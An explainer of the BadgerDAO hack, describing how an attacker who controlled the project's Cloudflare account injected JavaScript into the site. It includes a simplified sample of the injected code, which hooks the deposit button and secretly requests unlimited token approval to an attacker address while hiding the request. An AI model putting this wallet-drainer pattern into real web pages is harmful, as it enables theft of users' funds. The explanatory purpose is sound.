BadgerDAO Hack

The BadgerDAO hack was executed through a sophisticated frontend attack, specifically a user interface (UI) supply chain attack. Here's how it worked:

1. The attacker gained access to the project's Cloudflare account, which controlled the DNS settings for the BadgerDAO website
2. They injected malicious JavaScript code into the website that would trigger when users visited
3. The script presented users with transaction approval requests that looked legitimate, but actually granted the attacker permission to access their funds
4. Once permissions were granted, the attacker executed transfers to drain victim wallets

Example of the malicious code injected into the website:

// Simplified representation of the malicious JavaScript
async function injectMaliciousApproval() {
  // Wait for wallet connection
  const provider = await detectEthereumProvider();
  const signer = provider.getSigner();
  const user = await signer.getAddress();
  
  // Create malicious approval transaction
  const tokenContract = new ethers.Contract(
    TOKEN_ADDRESS,
    ERC20_ABI,
    provider
  );
  
  // Request unlimited approval to attacker's address
  await tokenContract.connect(signer).approve(
    ATTACKER_ADDRESS,
    ethers.constants.MaxUint256  // Unlimited approval
  );
}

// Execute when user interacts with vault
document.getElementById('deposit-button').addEventListener('click', () => {
  // Show legitimate transaction but also trigger malicious one
  injectMaliciousApproval();
  // Continue with normal operation to avoid suspicion
  originalDepositFunction();
});

The key issue was that the malicious code requested unlimited token approvals (MaxUint256), which gave the attacker permission to transfer any amount of the approved token from the victim's wallet.